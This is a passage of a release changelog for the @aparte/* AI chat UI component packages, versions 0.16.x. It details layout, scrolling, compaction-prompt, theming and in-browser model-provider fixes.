ok: true, and persisted with B by whatever storage the host had wired. A user-pressed abort was the only thing that stopped it.The check is the cheapest one that says “this is not the transcript I read”: if not one selected turn is still on the target when the model answers, the whole active path was replaced (a conversation switch, a reset), and the compaction returns
{ ok: false, error: 'The transcript changed while the summary was being written' }with the matchingaparte-compact-error. A transcript that merely changed — a turn deleted, turns appended meanwhile — is not affected: one surviving selected turn is enough, and what arrived is still kept, exactly as before.CompactionSkipReasonis unchanged; this is a failure, not a skip.@aparte/plugin-compaction -
ec4b2a5: A compaction keeps the images and files on the turns it re-appends, and releases the object URLs of the summarised-away turns only.
A compaction empties the transcript and puts the kept turns straight back. But
<aparte-chat-viewport>.clearAll()releases theblob:object URL of every attachment it drops — a deliberate leak fix — so the very messages being re-appended would come back with dead URLs: every image and file chip on a surviving turn, and on anything that arrived while the summary was being written.The plugin clears with
{ revokeAttachments: false }and releases the URLs itself, afterwards, for the summarised-away turns alone.CompactionTarget.clearAllaccordingly takes an optional{ revokeAttachments?: boolean }; a target of your own may ignore it and keeps working.This holds on all four paths:
<aparte-chat>,<aparte-chat-viewport>, and — under React, Vue, Svelte and Angular — the wrapper’s own root element, whoseclearAllbridge carries the option through to the viewport (a@aparte/corechange, shipped in the same commit).The plugin’s own suite could not see this: its target is a plain array whose
clearAllonly empties it. The test that catches it drives a real<aparte-chat-viewport>.@aparte/plugin-compaction -
ec4b2a5: A compaction summarises every assistant turn it drops, including the turns a host appended with no
statusat all.The summarisation request was built from a hand-written clause that demanded
status: 'completed'on an assistant turn. A host that appends its own messages sets no status at all — the shape the guides teach — so its replies were deleted by the compaction without ever reaching the summariser: the user’s questions survived in the summary, every answer to them was gone. The filter is now theinFlightpredicatecompact()already guards the whole transcript with, so the two cannot disagree. A reply that ended in an error is carried too: the user read it, and it is about to be deleted.Related: a compaction whose dropped turns say nothing at all now fails with
Nothing summarisable in the dropped turnsbefore the model call, rather than paying for a summary of an empty transcript and replacing the conversation with the answer.@aparte/plugin-compaction -
5e13b5d: A link now opens in its own tab from the moment it streams in, instead of only after the message settles.
The streaming renderer writes DOM directly, so it bypasses the one-shot sanitizer — which is why it already applies core’s URL-scheme policy live through
isSafeUrl. It did not apply the other half: until the settle re-render, every model link was a bare anchor that navigated the frame the chat lives in, clickable for the whole length of the reply.An external
href(https://,http://, the scheme-relative//host, and the spellings that resolve off-site just the same —/\host,http:/host) now getstarget="_blank" rel="noopener noreferrer"as it is written. Same-site and in-page links are left alone, exactly as the one-shot path leaves them. The rule is a deliberate, minimal copy of core’sconfig/sanitize.ts, which owns it — core exportsisSafeUrlbut not this predicate, and the comment beside it says so.@aparte/plugin-streaming-markdown -
3e460f3: All twenty generated element directives are exported —
AparteContextDirective,AparteIconDirectiveandAparteSuggestionsDirectivewere missing from a hand-written list, so<aparte-icon>,<aparte-suggestions>and<aparte-context>were tags nothing claimed.provideAparte({ themeMode })reads Angular’s injectedDOCUMENTinstead of the globals, so an app initializer no longer touchesdocument/windowunder Universal.@aparte/angular -
1b1a715: The bubble each wrapper renders carries
data-kind="compaction"when the message is the summarycompact()injected (message.compaction), so the notice is drawn as a notice — centred, no avatar, no actions — under a framework too, not only under the vanilla viewport.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
4123389:
<AparteUi>forwards ten events it used to swallow when you pass noeventsof your own:aparte-suggestion,aparte-context-threshold,aparte-scroll-rail-jump,aparte-sidebar-toggle,aparte-split-resize, and the turn’s lifecycle —aparte-message-start,aparte-message-done,aparte-message-error,aparte-message-abortedandaparte-tool-approval-request.No wrapper code changed: the default list is
APARTE_DEFAULT_UI_EVENTS, it lives in@aparte/core, and the ten names joined it there. It is repeated here because this is the CHANGELOG a wrapper consumer reads, and the effect is theirs — watching a turn end used to mean reaching past<AparteUi>for awindowlistener, and this release’s shell elements (<aparte-sidebar>,<aparte-split>,<aparte-scroll-rail>) speak through the proxy from their first version. This release’s own new events —aparte-link-click,aparte-rename-conversation,aparte-pin-conversation,aparte-unpin-conversation— joined the same list at birth, so the constant grew by fourteen names in all.If you pass your own
eventsarray you are unaffected: that list is used verbatim, as before.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
4123389:
<AparteUi>applies its props to a freshly created element when onlynameoreventschanged, so a memoized prop bag is no longer lost.Changing either of those two recreates the element. The props effect then had nothing to react to — the bag was the same object — so a
useMemo’dpropsnever reached the new element and the surface came up bare. React now follows the order Vue, Svelte and Angular already used: create, then apply.useAparteClient’s JSDoc saysoptionsis read once, on mount.@aparte/react -
5b2d42a: An uncontrolled
<AparteChat>(nomessagesprop) no longer wipes its own thread on every render and loops — the omitted-prop default was a fresh array each render, and the parent-push effect compared by identity. The published build now carries'use client'(Rollup dropped the source directive when it merged the module), so the documented Next App Router path works on import.useConversationManager().init(adapter, config?)is typed with theconfigits JSDoc told you to pass.@aparte/react -
a7528d1:
toolFailed(« Échec ») for the tool row’s new failed state.@aparte/locale-fr -
4123389:
APARTE_DOCS_URL=""— exported but empty — falls back to the public docs site, and the version the MCP handshake reports is read from the package’s own manifest.The base URL is read with
||, not??: an env var exported but empty is unset, and so is a pasted value that is only whitespace.The handshake version is read from
package.jsonat startup rather than written as a literal in the source: changesets bumps the manifest and nothing else, so a literal would report a version npm never served.@aparte/docs-mcp
Version-only bumps (no changes of their own): @aparte/provider-ai-sdk, @aparte/provider-transformers, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki.
0.16.1
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
4040ba9: The composer examples no longer put
style="flex: 1"on<aparte-composer-input>— the stylesheet already gives itflex: 1 1 auto, and the inline value changed the basis to0%.Nineteen examples carried it, across the element docblocks the reference pages are generated from, the guides and the demos. It worked everywhere it was written, which is what made it worth removing: copied into a row where the input’s content should decide its width,
flex: 1 1 0%collapses it instead. Reported by a consumer reading the getting-started guide.@aparte/core -
6a786c3: A fenced code block written by the model now wraps instead of being silently cut off. Nothing to change on your side.
@aparte/plugin-markedrenders ``` as a bare<pre><code>, and the stylesheet’s onlyprerule was scoped to.aparte-code-content-wrapper— a class only thecodesegment renderer emits, which marked cannot produce. So a markdown block matched no rule and kept the browser’swhite-space: pre: it never wrapped, laid itself out at its own intrinsic width, and the bubble’soverflow: hiddenamputated the tail. No scrollbar, no ellipsis — the code past the edge was simply gone.Measured on one block:
scrollWidthwas a constant 963px at chat widths 1500, 800, 600, 512 and 380, against client widths of 776 / 724 / 524 / 460 / 328. It overflowed even at 1500. The same two declarations the code card already carries —white-space: pre-wrapandoverflow-wrap: anywhere— now apply to prose as well, and the block ends on the column at every width.Only the wrapping is shared, not the surface: the card’s padding and background belong to the
codesegment, and giving a markdown block one is a look decision rather than this fix.@aparte/core -
3b5ab3e: The composer no longer goes flush to the chat’s edges on a container narrower than 800px — it takes the same left/right gutter as the transcript. Nothing to change on your side.
.aparte-composer-shelland.aparte-messageboth cap at--aparte-message-max-width(800px) and centre withmargin: 0 auto, so on a wide container they lined up by construction. Below 800px the cap stops applying and each fills its own parent — and<aparte-composer>had no padding at all, so the composer went edge to edge while the messages kept their inset. Measured at a 512px chat: message column 26/26, composer 0/0. Every chat narrower than 800px was hit: phones, embedded widgets, either pane of<aparte-split>, and an app shell whose docked sidebar leaves the chat narrow on a wide window.<aparte-composer>now reads the transcript’s own--aparte-viewport-paddingon its inline axis.Framework-managed viewports (React, Vue, Svelte, Angular) also stop overflowing their own chat.
<aparte-chat-viewport>iswidth: 100%, the framework path adds padding to it, and core ships no global border-box reset — so the host was 32px wider than the chat and the chat clipped it, leaving the transcript about 16px toward the end edge. Measured on a 1500px chat: the host was 1532 wide. If your app has a global* { box-sizing: border-box }you never saw this; if it does not, your transcript moves back to centre.Two things to know. Content you put directly inside
<aparte-composer>without the.aparte-composer-shellwrapper now picks up the same 16px inset, the way the transcript’s wrapper has always inset the messages. And the transcript reserves a scrollbar gutter that the composer cannot: on a platform with classic scrollbars the two columns still differ by that gutter (about 10px per side in Chromium) below 800px, where on a platform with overlay scrollbars — every phone — they now match exactly.@aparte/core -
9f9f13d: A tool call’s state (“Done”, “Running”) now ends on the same edge as the reply text. It stopped
--aparte-space-3short of it — six pixels, on the one line of a turn whose whole job is to read as a quiet aside beside the prose. Nothing to change on your side.The row’s horizontal padding is its hover surface, not its column, so a negative margin gives it back and puts the row’s content on the message column. That margin was
margin-inline-startalone: the chevron, the icon and the name landed on the column, the trailing state did not, and the hover surface bled to the left only.margin-inlinegives both sides back.Measured at a 512px chat: the text spans L26/R26 and the state’s right edge sat at R32; it is at R26 now, at every width. Reported by a consumer looking at a bubble that mixed a tool call and a text segment in a narrow pane — the case where the two segments sit one above the other and the eye reads the column as crooked.
@aparte/core -
6484a3c: Scrolling up during a streaming reply now works on WebKit. A wheel notch moves Safari about 33px at a time, and the viewport’s bottom threshold is 50px — so each notch read as “still at the bottom”, the follow stayed armed, and the settle chain put the reader back one millisecond later. Twelve notches, same position. Nothing to change on your side.
The threshold’s generosity is right and stays: a few pixels of layout drift must not read as “the reader walked away”. What was missing is that it outranked the reader.
_readerInputAt— the wheel, touchmove, a navigation key, a press in the scrollbar gutter — already tells a gesture from drift, and the settle logic already trusted it; the arming side did not consult it. It does now, so a decrease with a hand on it disarms whatever its size, while the same 33px with no gesture behind it is still drift and still keeps the follow.Measured from CI’s own timestamped scroll log: wheel at 135ms, the reader at 565,
scrollTop = 598written back at 155ms, repeat.@aparte/core -
1ed1d25:
@aparte/provider-transformersruns when it is served from another origin than the page — a CDN, or any deploy whose assets have their own host.Two walls stood between this provider and such a page, and each one hid the next.
The worker could not be constructed.
new Worker()refuses a cross-origin script outright, so the provider threwSecurityError: Script at '…/assets/worker-*.js' cannot be accessed from origin '…'at the firstprepareModel(). It is not a CDN-only case: any app whose JavaScript is served from an asset host hits it, bundler or not. The worker is now started through a same-originblob:whose whole body is one absolute import of the real file — a blob inherits the origin of the document that mints it, which is what makes it legal, and it is the same shim ffmpeg.wasm and tesseract.js use. Same-origin keeps the direct construction: no blob, nothing to revoke, and a stack trace that names the real file. The blob is released when the worker is terminated.The worker could not resolve Transformers.js. Its first line imported
@huggingface/transformersby bare specifier, and an import map is the document’s: by spec it does not reach a worker, so a page could map the specifier for itself and the worker still could not use it. The worker now resolves the module when it first needs it —import('@huggingface/transformers')first, which is statically visible so a bundler resolves and bundles the peer exactly as before, and failing that the absolute URL the main thread read out of the page’s own import map (throughimport.meta.resolve, falling back to reading the map) and sent in the worker’s first message.Nothing new is exported, and nothing changes for an app with a bundler. For a page without one, the import map it already needs to import
@aparte/coreby name is now also what tells the worker where Transformers.js lives — the version pin stays with you, which is what the peer dependency was for.One case remains impossible: a page whose Content-Security-Policy forbids
blob:inworker-src/script-srccannot start a cross-origin worker at all, and the provider now says so by name instead of letting the browser’s own message stand. Serve the package from your own origin there.@aparte/provider-transformers -
2763490: The summarisation instruction now travels in the ask itself instead of a
systemmessage, so a provider that imposes its own system prompt can no longer drop it.A provider serving a local model under a fixed training contract replaces the request’s
systemmessage with its own — legitimately. When it did, the instruction never reached the model, nothing errored, and the model answered a bare “Please summarize this conversation.” after somebody else’s persona. Measured by a consumer on three transcripts: one reply refused for want of internet access, one said “noted, I’ll do it”, and one invented figures for a client that appears nowhere in the transcript — which the plugin then wrote back as the summary notice, making the invention the premise of every turn that followed.The instruction is not a persona: it is the task of that one request, and it now sits where every provider must look. Nothing changes for a provider that honoured the system message,
promptandDEFAULT_COMPACTION_PROMPTare unchanged, andsummarizestill bypasses the transport entirely.@aparte/plugin-compaction -
77fd6fa: The default summarisation prompt now forbids continuing the conversation.
DEFAULT_COMPACTION_PROMPTgains one sentence — “Do not continue the conversation, do not answer a question it contains and do not call a tool: reply with the summary and nothing else.” Nothing to change unless you pass apromptof your own, in which case add a clause like it.Why it matters now: the instruction rides the final
userturn, which is also where a reply to the conversation would go. A model handed a transcript that ends in a question has two plausible things to do — summarise it, or answer it — and the answer is what gets written back as the summary notice, becoming the premise of every following turn.The clause is not invented here. Of sixteen implementations surveyed, every one that puts its instruction in the user turn carries such a clause, and one inserts a fake assistant turn on top of it. Ours ended at “No preamble.”
@aparte/plugin-compaction
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.2
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
705224b: Moving a chat in the DOM (into an
<aparte-split>pane, an app shell, any reparenting) no longer disconnects the composer’s wiring: the editor kept the draft in the DOM butvaluenever heard of it, the send button stayed disabled with text visibly in the box, and every composer button had lost its click.Every composer child bound its listeners inside
_render(), behind the “DOM already there” early return, whiledisconnectedCallbackremoved them — so the first reconnect left them deaf. Binding is the connect’s job now, in all five (input,send,cancel,action,add-attachment);_renderonly builds. The vanilla example’s?layout=splitand?layout=shellvariants moved the chat exactly this way, so the bug was live on both — nothing sent a message there, which is why nothing saw it.@aparte/core -
9df343c:
overlay-composeron<aparte-chat>(andoverlayComposeron all four wrappers): the transcript’s scroll surface spans the whole column and the composer floats over it, so the scrollbar runs edge to edge instead of stopping at the composer’s top — the full-page anatomy the Layout guide sold without this half. Opt-in, never the default: a chat embedded in a small box should not have its composer eating the transcript.The viewport leaves the flow (absolute over the shell); elicitation, an above-composer row and the composer keep flowing, bottom-anchored, painted over it. The viewport measures that stack and publishes
--aparte-bottom-inset; content, the spacer and the scroll button clear it — and its readers are unconditional (0px unset), so a host that overlays a composer of its own can write the variable by hand without the attribute. When the composer grows under a reader pinned at the bottom, the inset is re-measured and the reader re-anchored in the same observer pass — the view-jump every hand-rolled overlay hits.The attribute is read when the viewport wires its observers: set it in the initial markup. Angular binds it on its inner
.aparte-chat-container(there the host is theaparte-chatelement and the viewport is the inner div’s child) — use theoverlayComposerinput.@aparte/core,@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
39b777f: The scroll-to-bottom button floats 16px above the transcript’s bottom edge in framework-managed mode (React, Vue, Svelte, Angular wrappers), at every scroll position. It used to sit the whole
padding + spacerhigher — up to a few hundred pixels into the messages.Two causes, one per symptom. A
position: stickychild is clamped to its parent’s content box, and the bottom spacer was carried aspadding-bottomon the scrolling host — territory the button could never enter — so it hungpadding + spacerabove the edge wherever the reader was. The clearance now lives in an::afterflex item instead: still nothing in the DOM, so the framework’s reconciliation sees exactly what it saw before. And a bottom-sticky element sits at its flow position whenever that is above the sticky line, so a button flowing before a 230px spacer drifted upward as the reader neared the bottom —order: 1puts its flow position after the spacer, and the sticky line always wins.If you worked around this with your own
padding-bottom: 0+::afteroverride on the viewport, you can remove it — it is now a no-op with the same values.Two side effects of the rework, caught on screen and now asserted in the smoke suite: an empty transcript no longer grows a scrollbar (the
::afterpaid the column’s gap the padding never did, and the hidden button’s slide overhung the content end), and the hidden button now fades instead of sliding in framework-managed mode — its flow position is the very end of the content, so the 8px slide was pure scrollable overflow. Core mode keeps the slide.Measured in the browser (spacer 0/60/130/230px): the button holds 16px at every distance from the bottom; before, it floated 48/108/178/278px. A new e2e spec (
scroll-button.spec.ts) asserts the rendered geometry in both transcript modes on Chromium and WebKit — the first assertion in the repo that locates this button rather than driving it.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr, @aparte/docs-mcp.
0.16.3
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
- 9406f16: In core mode with
overlay-composer, the transcript’s scroll surface no longer overruns its host by the composer inset..aparte-viewport-containerisheight: 100%and carries the overlay clearance aspadding-bottom; withoutbox-sizing: border-boxthe padding was added to the height, so the surface stood the whole inset taller than the viewport, clipped — that much scrollbar and content cut off at the bottom. Hosts with a global* { box-sizing: border-box }reset (every example app in this repo) never saw it; a page without one did. The box declares its own sizing now.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.4
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
@aparte/engine@0.16.4
@aparte/core -
e20d80a: Register a model with
task: 'image-text-to-text'to run a vision model in the browser, or pointrunnerat a module of your own; a text model now says when it drops an image, and Stop honoursctx.signal.The worker forced
pipeline('text-generation')on every model: thetaskthe main thread posted was never read, the public type made registering a vision model a TypeScript error, and image parts were flattened away on the main thread with no warning — a photo attached to a text model produced an answer that pretended to have seen it.What changed, for the caller:
TransformersModelConfig.taskis optional and accepts'text-generation'(the default, unchanged) or'image-text-to-text'(AutoProcessor+AutoModelForImageTextToText— SmolVLM, Qwen2-VL, LFM2-VL, Gemma 3…). Transformers.js 4.x has no pipeline for that task, so the runner goes through the model classes the way the model cards do. Image parts reach the model as the composer attaches them; a turn without a picture goes through the tokenizer alone (the processor wants images — “hello” as a first message crashed a real SmolVLM until it did).TransformersModelConfig.runnernames an ES module of your own exportingcreateRunner(ctx); it wins overtask. The worker imports it (URL resolved against the page) and hands it the same Transformers.js instance the built-ins use.emitspeaks the stream vocabulary (text,thinking,tool_use,done,error),signalfires on Stop,ctx.progress/ctx.warnreach the page,dispose()runs on a model switch. New exports:TransformersRunner,RunnerContext,RunnerGenerateInput,RunnerProgress,RunnerModule,CreateRunner,BuiltInRunner,TransformersModule, andrunnerCommand(modelId, name, payload)to reach a runner’scommand()from the page, queued behind the generates in flight.- The text runner warns once when it drops image parts (naming the vision task), as it already did for tool turns.
chat()readsctx.signal: a user’s Stop now interrupts the model, not just the local read (the contract said bridges MUST; this one read it nowhere). Abort and stream-cancel are one stop; a signal already aborted never posts the generate.
Each runner is its own chunk under
dist/assets/, loaded when a model asks for it (a runner imports core for types only — the first build that took a helper from it shipped all of core in a 426 kB chunk; it is 2 kB). Measured on Chromium + WebGPU (AMD Radeon 8060S), page and package on two origins, Transformers.js 4.2.0 from jsDelivr:HuggingFaceTB/SmolVLM-256M-Instruct(fp16/q4/q4) loads in 7 s download included, answers “Rectangle, circle.” to a red square with a blue circle in 3.7 s cold, and Stop ends the stream within two tokens;SmolLM2-135M-Instructstill streams and stops; a 20-line custom runner imported cross-origin drives the transcript and answers arunnerCommand.@aparte/provider-transformers
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.5
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
8593b60: Five fixes to how the chat feels: the composer no longer comes up ~200 px tall on a slow layout, a send glides to the top instead of jumping, an older message’s action bar sits under the message (in the existing gap, no reserved row), a selected button-group segment reads as selected at rest, and
<aparte-split single>shows one pane on demand.- Composer (#55). The editor sometimes rendered ~200 px tall while empty, in any host. The auto-grow read
scrollHeightat three fixed instants and then only on input; when one fell before the box had its width, the placeholder — a::beforethat counts inscrollHeight— wrapped over a dozen lines and the number stuck. AResizeObserverre-measures on width changes, and the placeholder never wraps (white-space: nowrap, clipped like a native input’s). - Send glide (#57). The new user message is meant to glide to the top; it jumped. Measured: five instant
scrollTopwrites in the send’s own frame (the spacer recalculation pins synchronously, the mutation observer queues another), so the smooth scroll found the view already teleported — and in framework-managed mode the observer’s instant pin ran before the wrapper’srequestSmoothScroll()was honoured (630 px in one frame on React). The glide now begins before the spacer recalculation; while it is in flight, every bottom-pin re-targets it with a second smoothscrollTo(scrollendcloses the window, 450 ms budget otherwise); a user bubble the observer sees arrive is a send whoever rendered it. Streaming is instant again after the glide. Reduced motion keeps the instant path. Three engines then refined it: WebKit firesscrollendwhen a smooth scroll is re-targeted, so only a scrollend that rested at the bottom closes the window; a batch that re-adds several bubbles (a branch swap) is a rebuild, not a send, and pins as it always did; and the reader’s hand ends the glide — wheel and touch stop the animation where it is, a scroll key only closes the window, because the engine animates key scrolls itself. A glide that never arrives is settled by its own timer. - Action bar placement (#56). An older message’s bar floated top-right over the header row, because the bubble is a paint-containment boundary and the inter-bubble gap was a flex
gapoutside every box. The gap is now each bubble’s ownpadding-block-end(same token, same distance), inside its box, and the bar hangs under the text overmessage padding-block + gap— 16 + 12 = 28 px at the default density for a 24 px bar. The last reply keeps its always-visible bar in the flow. Two theme tokens appear:--aparte-message-padding-blockand--aparte-message-padding-inline;--aparte-message-paddingis now derived from them, so a theme that overrode the shorthand should override the two parts instead. - Button group (#53).
aria-pressed="true",aria-selected="true"oraria-currenton a segment of.aparte-btn-grouppaints it solid in the group’s intent (neutral for--surface), at rest, and hover leaves it alone; a toggled--outline/--softbutton outside a group is washed at 30 %, deeper than its 22 % hover. Before, the toggled wash was--aparte-btn-bg-toggled(surface-2), invisible on dark, and hover read as the state. - Split (#54).
single(boolean) shows one pane — the onepanenames — whatever the width: the seam and the other pane are gone, as under the breakpoint, and the seam loses its tab stop.collapsedstill folds the primary pane to--aparte-split-minand keeps the seam; the CSS route.aparte-split--only-start/--only-endis unchanged.
Measured with two new browser specs (the send’s per-frame
scrollTopcurve and every write to it, on vanilla, React and WebKit; the older reply’s bar geometry, hovered, on vanilla and React) plus 16 unit tests; the scroll-button, overlay, bubble-actions and framework-smoke geometry specs stay green. Thecheck:derived-varsceiling on responsive sizes moves 8 → 9 for the split padding token.@aparte/core - Composer (#55). The editor sometimes rendered ~200 px tall while empty, in any host. The auto-grow read
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.6
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
cc303dc: An elicitation’s question no longer runs under the corner “Skip” button (#50).
The button is absolutely positioned, so nothing in the flow reserved its width: any message long enough to reach the panel’s edge printed its first line underneath it — measured at 43px of text under “Skip” in a 460px panel.
.aparte-elic-messagenow keeps the same room the tab rail already reserves, from the same token (--aparte-elic-dismiss-room), so the two can never disagree — and a locale whose word is wider than “Skip” bumps one value instead of patching two rules.@aparte/core -
e8043ba: npm keywords carry the words people actually type — nothing in the code changes.
Core goes from 5 keywords to 19 (chat-ui, ai-chat, chatbot, chat-component, custom-elements, framework-agnostic, the four framework names, agent, tool-calling, human-in-the-loop, openai); each wrapper gains chat-ui and ai-chat. Measured against the category’s incumbents: none of ours were the terms a search starts from.
@aparte/core,@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
1f7365f: Presence setters treat
''as ON, so Svelte templates actually set the attribute (#62).The attribute types document
''as the spelling for a presence attribute, because React and Vue stringify what they set on a custom element. Svelte 5 takes the property path instead whenever the element has an accessor — andsingle={''}on<aparte-split>(likewisecollapsed,disabled, and the sidebar’scollapsed) handed the setter an empty string thattoggleAttributeread as falsy: the attribute was removed, the opposite of what the template asked for, silently. On a presence property an empty string now means ON, exactly as an empty attribute does;false,nullandundefinedstill mean OFF.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr, @aparte/docs-mcp.
0.16.7
Every @aparte/* package ships at this version (they are released in lockstep).
Every published README opens on its category line, and core’s quickstart says what the client now does on its own (echo included).
Patch Changes
-
42a9d09:
AparteClientechoes the user’s message by default — and echo ownership is a handshake, so nothing doubles.The optimistic user bubble used to be every raw-core host’s job: everyone wrote the same
aparte-sendhandler, and whoever forgot shipped a chat where the person cannot see what they typed — it compiles, it streams, and nothing errors. Three consumers hit exactly that.Whoever appends the user message marks the event (
detail.echoed), and whoever sees the mark yields: theConversationController(capture phase, so always first) marks for the wrappers’ pairing with a raw client, and the client marks after its own echo, so even two clients on one page render the message once. Attached files ride the echoed bubble as attachments; the wire cannot double — the history builder already excludes trailing unanswered user messages. A raw-core host that still appends its own bubble should drop that handler, or passechoUserMessage: falseto keep ownership.@aparte/core -
9df0877: Every package names its documentation page (
homepage) — nothing in the code changes.npm shows the link first on each package page; none of the twenty had one. Each now points at its own docs page, verified live before it was written. every package
-
b5891b9: The chat follows the system color scheme by default;
data-aparte-themenow forces either way —"light"is new.Dark existed only behind
data-aparte-theme="dark": on a dark OS, an un-attributed chat rendered light on the host’s dark page — unreadable, with no error. Measured by a consumer building from the docs alone. With no attribute,prefers-color-schemenow decides;"dark"still forces dark;"light"(new) forces light, which is the veto a light-always page needs and the escape a themed island inside an opposite page uses. If your app already flips the attribute from its own toggle, nothing changes — the attribute beats the OS in both directions. The dark palette exists twice in the sheet (a media query and an attribute selector cannot share a block);check:derived-varsnow holds the copies byte-identical, and holds the light veto to the:rootliterals, so the duplicates cannot drift.@aparte/core -
44a3611: The
{ text }docs no longer say core parses markdown — a markdown plugin renders it.Without
@aparte/plugin-markedor@aparte/plugin-streaming-markdown, scripted text streams as plain text,**stars**included. The docs said “parsed by core”, which is not what ships: core deliberately has no markdown renderer. Wording only.@aparte/provider-scenario -
8f9d56f: A
scenarios-mode tool call without itsafterroute warns at creation.whenplus a turn containing a tool is perfectly plausible to write — and the default match then routes the tool result back through the samewhen: identical rounds until the client’smaxTurnserror. The hole is visible at creation, so it is said at creation, naming each unrouted tool. Orderedturnsmode and a custommatchare exempt.@aparte/provider-scenario
0.16.8
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
50085e8: Five calibration decisions from the image audit: the bubble’s corner is the theme’s
--aparte-radius-bubble(12px, it was a 14px literal); a control’s edge has its own token,--aparte-border-control, read by the field, the field group, the choice controls and the select trigger; the icon scale is in rem on the type factor (--aparte-icon-sizedefaults to 1rem, was 14px; sm 0.75rem, lg 1.125rem, xl 1.25rem); the elicitation rows’ radius is the md step; and a disabled button, field or select is drawn — a neutral ground and the muted ink — instead of faded with opacity. The composer’s gated state no longer fades the whole composer.--aparte-borderdid two jobs, separating regions and bounding controls, and six previews showed a control with no visible edge; the new token is derived from the ink and the ground so both schemes follow, and its mix is a first setting. The icon scale was the one scale in the theme pinned in px while every type size followed--aparte-font-scale, so a glyph beside text shrank optically when the reader enlarged the text. Opacity on a disabled control faded the glyph with its ground and read at 2:1 on the send button; “inactive” and “disappearing” are not the same message. Menu items, option rows and a tag’s ✕ keep the opacity for now.@aparte/core -
31ccbc2:
center-emptycentres the welcome group itself: while the chat is empty, the rows’ wrapper carries no block padding, so the empty viewport takes no room in the centred stack.Measured on the built demo at 768: the chat’s centre at 240, the visible group’s at 256. The empty viewport still stood 32px tall — the wrapper’s block padding with no row in it — and
justify-content: centercentred three items of which the first was invisible. The padding goes, not the box: capping the viewport at 0 would leave a 32px scroll surface inside a 0px box, which the browser smoke test every example runs (“an empty transcript must not overflow”) refuses. Framework mode is untouched — there the viewport is the scroll surface and may hold the wrapper’s own empty-state content.@aparte/core -
7e5910a:
<aparte-chat submit-on-enter="false">now reaches the composer it composes, and the menu, popover, dialog and tooltip each get a radius knob (--aparte-radius-menu,--aparte-radius-popover,--aparte-radius-dialog,--aparte-radius-tooltip).The shell forwarded
placeholderanddisabledonly, so the one switch every wrapper exposes assubmitOnEnterhad no vanilla spelling short of reaching inside for the composer. It is forwarded by value (the bare attribute keeps the default, Enter sends) and observed, so a toggle after mount follows. The four floating surfaces read a step of the radius scale directly, the only family without a knob of its own: a theme that wanted square menus and round bubbles had to move the scale step and every other reader with it. Rendering is unchanged; the four knobs default to the steps the sheets read before.@aparte/core -
316eaa7: The action bar’s first glyph starts on the text column; every inline recipe of the kit sits on the midline (
vertical-align: middle); the avatar’s initials, corner and group overlap scale with its size —--aparte-avatar-initials-ratio,--aparte-avatar-radius-ratioand--aparte-avatar-overlap-ratioreplace the absolute--aparte-avatar-font-size,--aparte-avatar-radius,--aparte-radius-avatarand--aparte-avatar-group-overlap— and the assistant avatar’s text is the text colour.The most reproducible defect of the audit: in 14 previews the first action button’s ink began 5 to 8px right of the paragraph above it, because a glyph is centred in a 24px box; the bar takes that slack back. Inline boxes fall on the baseline unless they say otherwise, and none did: the icon button rode 3px above its neighbours, three spinners shared a bottom edge instead of a centre. The 40px avatar drew the same 11px initials as the 32px one, its corner drifted from squircle to square up the ramp, and a 6px overlap was a fifth of a small avatar and a tenth of a large one — the fractions are computed on the element so a size modifier moves them.
@aparte/core -
